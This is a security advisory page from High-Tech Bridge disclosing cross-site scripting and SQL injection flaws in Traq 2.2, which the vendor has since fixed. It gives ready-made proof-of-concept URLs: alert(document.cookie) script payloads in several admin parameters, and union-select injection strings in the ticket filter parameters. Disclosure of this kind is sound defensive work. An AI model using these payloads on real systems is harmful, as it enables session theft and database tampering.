San Francisco: +1 (415) 635 3784  |  Geneva: +41 (22) 723 2424   |  
ImmuniWeb®: Login | Register
ImmuniWeb® by High-Tech Bridge

Stay in touch

Enter your email and get the latest news and researches on cybersecurity, receive invitations to private security events and conferences.

Multiple Vulnerabilities in Traq

Advisory ID:HTB23046
Product:Traq
Vendor:Jack Polgar
Vulnerable Versions:2.2 and probably prior
Tested Version:2.2
Advisory Publication:September 7, 2011 [without technical details]
Vendor Notification:September 7, 2011
Public Disclosure:September 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Traq which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerabilities in Traq
1.1 The vulnerability exists due to input sanitation error in the "edit" parameter in admincp/components.php, admincp/ticket_templates.php, admincp/custom_fields.php and admincp/groups.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
http://[host]/admincp/components.php?edit=%22%3E%3Cscript%3Ealert%28document .cookie%29;%3C/script%3E
http://[host]/admincp/ticket_templates.php?edit=%2 2%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
http://[host]/admincp/custom_fields.php?edit=%22%3E%3Cscript%3Ealert %28document.cookie%29;%3C/script %3E
http://[host]/admincp/groups.php?edit=%22%3E%3Cscript%3Ealert%28documen t.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to input sanitation error in the "errors" parameter in admincp/components.php, admincp/groups.php, admincp/milestones.php, admincp/plugins.php, admincp/projects.php, admincp/repositories.php and admincp/users.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface and that "register_globals" is enabled.
Exploitation examples:
http://[host]/admincp/components.php?edit&error&errors[]=%3Cscript%3Ealert%2 8document.cookie%29;%3C/ script%3E
http://[host]/admincp/groups.php?edit&errors[]=%3Cscript%3Ealert% 28document.cookie%29;%3C/script%3E
http://[host]/admincp/milestones.php?edi t&errors[]=%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://[host]/admincp/plugins.php?create&errors[]=%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script% 3E
http://[host]/admincp/projects.php?edit&errors[]=%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3 E
http://[host]/admincp/repositories.php?edit&errors[]=%3Cscript%3Ealert%28 document.cookie%29;%3C/scri pt%3E
http://[host]/admincp/users.php?edit&errors[]=%3Cscript%3Ealert%28doc ument.cookie%29;%3C/script%3E

1.3 The vulnerability exists due to input sanitation error in the "goto" parameter in user/login. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/user/login?goto=%22%3E%3Cscript%3Ealert%28document.cookie%29;% 3C/script%3E

2) SQL injection vulnerabilities in Traq
The vulnerability exists due to input sanitation errors in the "sort","order","component","milestone","priority","severity","status","type" and "version" parameters. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
http://[host]/[PROJECT_ID]/tickets?sort=SQL_CODE_HERE
http://[host]/[PROJEC T_ID]/tickets?order=SQL_CODE_HERE
http://[host]/[PROJECT_ID]/tickets?column s=ticket&component=1%29/**/union/**/select/**/1,version%28% 29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/** /where/**/1/**/in/**/%28 1
http://[host]/[PROJECT_ID]/tickets?columns=ticket&milestone=1%29/**/union /**/select/**/1,version%28% 29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/** /where/**/1/**/in/**/%28 1
http://[host]/[PROJECT_ID]/tickets?columns=ticket&priority=1%29/**/union/ **/select/**/1,version%28%2 9,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/ where/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket& severity=1%29/**/union/**/select/**/1,version%28%2 9,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/ where/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket& status=1%29/**/union/**/select/**/1,version%28%29, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/wh ere/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket&ty pe=1%29/**/union/**/select/**/1,version%28%29,3, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/wher e/**/1/**/in/**/%281
http://[host]/[PROJECT_ID]/tickets?columns=ticket&vers ion=1%29/**/union/**/select/**/1,version%28%29 ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,29,20/**/from/**/traq_tickets/**/w here/**/1/**/in/**/%281


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Vendor marked issue as "fixed"


References:
[1] High-Tech Bridge Advisory HTB23046 - https://www.htbridge.com/advisory/HTB23046 - Multiple Vulnerabilities in Traq
[2] Traq - traqproject.org - Traq is a PHP and MySQL powered Project Tracker, you can easily track Milestones, Versions, Bugs, Feature Requests and see how far your project has come.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments and Opinions


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.